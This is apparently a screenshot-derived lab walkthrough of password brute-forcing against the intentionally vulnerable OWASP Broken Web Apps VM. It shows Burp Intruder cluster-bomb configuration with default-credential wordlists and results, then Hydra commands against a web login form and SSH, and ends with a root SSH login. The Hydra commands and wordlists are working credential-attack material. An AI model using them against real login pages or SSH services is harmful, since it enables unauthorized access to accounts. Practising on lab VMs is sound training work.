



Bricks

Login

Wrong user name or password.

Username:

Password:

Submit

SQL Query: SELECT * FROM users WHERE name='test' and password='test' x

Intercept

Request to http://192.168.1.11:80

Forward Drop **Intercept is on** Action Open Browser

Pretty Raw In Actions

- Scan
- Send to Intruder Ctrl-I**
- Send to Repeater Ctrl-R
- Send to Sequencer
- Send to Comparer
- Send to Decoder
- Request in browser
- Engagement tools [Pro version only]
- Change request method
- Change body encoding
- Copy URL
- Copy as curl command
- Copy to file
- Paste from file
- Save item
- Don't intercept requests
- Do intercept
- Convert selection
- URL - encode as you type

1 POST /owaspbr
2 Host: 192.168.
3 User-Agent: Mo
4 Accept: text/H
5 Accept-Languag
6 Accept-Encodin
7 Content-Type:
8 Content-Length
9 Origin: http://
10 Connection: cl
11 Referer: http:
12 Cookie: JSESS
13 Upgrade-Insecu
14
15 username=test&

Gecko/20100101 Firefox/78.0
ation/xml;q=0.9,image/webp,*/*;q=0.8
-1/index.php
F2BB6; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

? Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: Cluster bomb

```
1 POST /owaspbricks/login-1/index.php HTTP/1.1
2 Host: 192.168.1.11
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 39
9 Origin: http://192.168.1.11
10 Connection: close
11 Referer: http://192.168.1.11/owaspbricks/login-1/index.php
12 Cookie: JSESSIONID=8B92A7A7DA6AEF314BBB5F5185AF2BB6; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
13 Upgrade-Insecure-Requests: 1
14
15 username=$test$&passwd=$test$&submit=Submit
```

? Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized.

Payload set: 1

Payload count: 14

Payload type: Simple list

Request count: 0

? Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Load ...

Remove

Clear

apc

pass

security

user

system

sys

wampp

newuser

xampp-dav-unsecure

vagrant

Add

Enter a new item

Add from list ... [Pro version only]

? Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

? Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 2

Payload count: 19

Payload type: Simple list

Request count: 266

? Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste	admin
Load ...	password
Remove	manager
Clear	letmein
	cisco
	default
	root
	apc
	pass
	security

Add

Add from list ... [Pro version only]

? Payload Processing

depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

19

266

used as payloads.

payload before it is used.

Intruder attack 3							
Attack Save Columns							
Results Target Positions Payloads Options							
Filter: Showing all items							
Request ^	Payload1	Payload2	Status	Error	Timeout	Length	Comment
0			200	<input type="checkbox"/>	<input type="checkbox"/>	3915	
1	admin	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3913	
2	manager	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3919	
3	root	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3916	
4	cisco	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3917	
5	apc	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3915	
6	pass	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3916	
7	security	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3920	
8	user	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3916	
9	system	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3918	
10	sys	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3915	
11	wampp	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3917	
12	newuser	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3919	
13	xampp-dav-unsecure	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3930	

Start time:

- ☒ Immediately
☐ In minutes
☐ Paused

? Attack Results

These settings control what information is captured in attack results.

- ☒ Store requests
☒ Store responses
☒ Make unmodified baseline request
☐ Use denial-of-service mode (no results)
☐ Store full payloads

? Grep - Match



These settings can be used to flag result items containing specified expressions.

- ☒ Flag result items with responses matching these expressions:

Paste

Load...

Remove

Clear

Wrong use, name or password.

Intruder attack 4

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request ^	Payload1	Payload2	Status	Error	Timeout	Length	Wrong u...	Comme
0			200	<input type="checkbox"/>	<input type="checkbox"/>	3915	<input checked="" type="checkbox"/>	
1	admin	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3913	<input type="checkbox"/>	
2	manager	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3919	<input checked="" type="checkbox"/>	
3	root	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3916	<input checked="" type="checkbox"/>	
4	cisco	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3917	<input checked="" type="checkbox"/>	
5	apc	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3915	<input checked="" type="checkbox"/>	
6	pass	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3916	<input checked="" type="checkbox"/>	
7	security	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3920	<input checked="" type="checkbox"/>	
8	user	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3916	<input checked="" type="checkbox"/>	
9	system	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3918	<input checked="" type="checkbox"/>	
10	sys	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3915	<input checked="" type="checkbox"/>	
11	wampp	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3917	<input checked="" type="checkbox"/>	
12	newuser	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3919	<input checked="" type="checkbox"/>	
13	xampp-dav-unsecure	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	3930	<input checked="" type="checkbox"/>	

Request Response

Pretty Raw In Actions v

```
1 POST /owaspbricks/login-1/index.php HTTP/1.1
2 Host: 192.168.1.11
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 41
9 Origin: http://192.168.1.11
10 Connection: close
11 Referer: http://192.168.1.11/owaspbricks/login-1/index.php
```

0 matches

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```
mrhacker@kali: ~  
File Actions Edit View Help  
  
(mrhacker@kali) - [~]  
$ hydra 192.168.1.11 http-form-post "/bWAPP/login.php:login=^USER^&password=^PASS^&form=submit:Invalid credentials or user not activated" -L users.txt -P pass.txt  
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-26 04:48:00  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:6/p:5), ~2 tries per task  
[DATA] attacking http-post-form://192.168.1.11:80/bWAPP/login.php:login=^USER^&password=^PASS^&form=submit:Invalid credentials or user not activated  
[80][http-post-form] host: 192.168.1.11 login: bee password: bug  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-26 04:48:01  
  
(mrhacker@kali) - [~]  
$
```

File Actions Edit View Help

(mrhacker@kali) - [~]

\$ hydra 192.168.1.11 ssh -L users.txt -P pass.txt

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or this is non-binding, these *** ignore laws and ethics anyway).

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2021-03-26 05:04:45

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended t

[DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:6/p:6), ~3 tries pe

[DATA] attacking ssh://192.168.1.11:22/

1 of 1 target completed, 0 valid password found

[WARNING] Writing restore file because 3 final worker threads did not complete until end.

[ERROR] 3 targets did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) finished at 2021-03-26 05:04:49

(mrhacker@kali) - [~]

\$

```
(mrhacker@kali) - [~]  
$ ssh root@192.168.1.11  
root@192.168.1.11's password:  
You have new mail.  
Last login: Thu Mar 25 15:49:30 2021 from kali
```

Welcome to the OWASP Broken Web Apps VM

!!! This VM has many serious security issues. We strongly recommend that you run it only on the "host only" or "NAT" network in the VM settings !!!

You can access the web apps at <http://192.168.1.11/>

You can administer / configure this machine through the console here, by SSHing to 192.168.1.11, via Samba at \\192.168.1.11\\, or via phpmyadmin at <http://192.168.1.11/phpmyadmin>.

In all these cases, you can use username "root" and password "owaspbwa".

```
root@owaspbwa:~# █
```